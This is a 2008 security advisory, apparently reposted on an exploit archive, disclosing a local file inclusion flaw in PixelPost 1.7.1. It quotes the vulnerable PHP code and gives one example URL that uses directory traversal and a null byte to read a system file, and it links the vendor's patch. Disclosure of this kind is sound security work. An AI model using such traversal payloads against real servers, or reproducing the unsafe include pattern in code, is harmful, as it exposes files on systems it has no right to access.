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PixelPost 1.7.1 (language_full) Local File Inclusion Vulnerability

Author
DSecRG
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3465
Category
web applications
Date add
27-07-2008
Platform
unsorted
==================================================================
PixelPost 1.7.1 (language_full) Local File Inclusion Vulnerability
==================================================================


Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-033


Application:                    Pixelpost photoblog
Versions Affected:              1.7.1
Vendor URL:                     http://www.pixelpost.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       22.07.2008
Vendor response:                23.07.2008
Solution:                       YES
Date of Public Advisory:        28.07.2008
Authors:                        Digital Security Research Group [DSecRG] 



Description
***********

Pixelpost photoblog has local file include vulnerability in script index.php

Successful exploitation requires that "register_globals" is enabled.

Code
****
#################################################

$PP_supp_lang = array('dutch'=>array('NL','Nederlands'),
                                          'english'=>array('EN','English'),
                                          'french'=>array('FR','Francais'),
                                          'german'=>array('DE','Deutsch'),
                                          'italian'=>array('IT','Italiano'),
                                          'norwegian'=>array('NO','Norsk'),
                                          'persian'=>array('FA','Farsi'),
                                          'polish'=>array('PL','Polskiego'),
                                          'portuguese'=>array('PT','Portugues'),
                                          'simplified_chinese'=>array('CN','Chinese'),
                                          'spanish'=>array('ES','Espanol'),
                                          'swedish'=>array('SE','Svenska'),
                                          'danish'=>array('DK','Dansk'),
                                          'japanese'=>array('JP','Japanese'),
                                          'hungarian'=>array('HU','Magyar'),
                                          'romanian'=>array('RO','Romana'),
                                          'russian'=>array('RU','Russian'),
                                          'czech'=>array('CS','Cesky')
                                         );
...
if(isset($_GET['lang'])) { $language_abr = substr($_GET['lang'],0,2); }

foreach ($PP_supp_lang as $key => $row) {
        foreach($row as $cell){
                if ($cell == strtoupper($language_abr)) { $language_full = $key; }
        }
}
...
if(!empty($language_full)) {
        if(file_exists("language/lang-".$language_full.".php")) {

                if( !isset($_GET['x'])OR($_GET['x'] != "rss" & $_GET['x'] != "atom")) {
                        require("language/lang-".$language_full.".php");
                }
        }else{
        ...

#################################################

Example:

http://[server]/[installdir]/index.php?lang=DSecRG&language_full=../../../../../../../../../../../../../boot.ini%00



Solution
********

Vendor fix this flaw on 27.07.2008. Security Patch can be downloaded here:

http://www.pixelpost.org/blog/2008/07/27/pixelpost-171-security-patch/



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.




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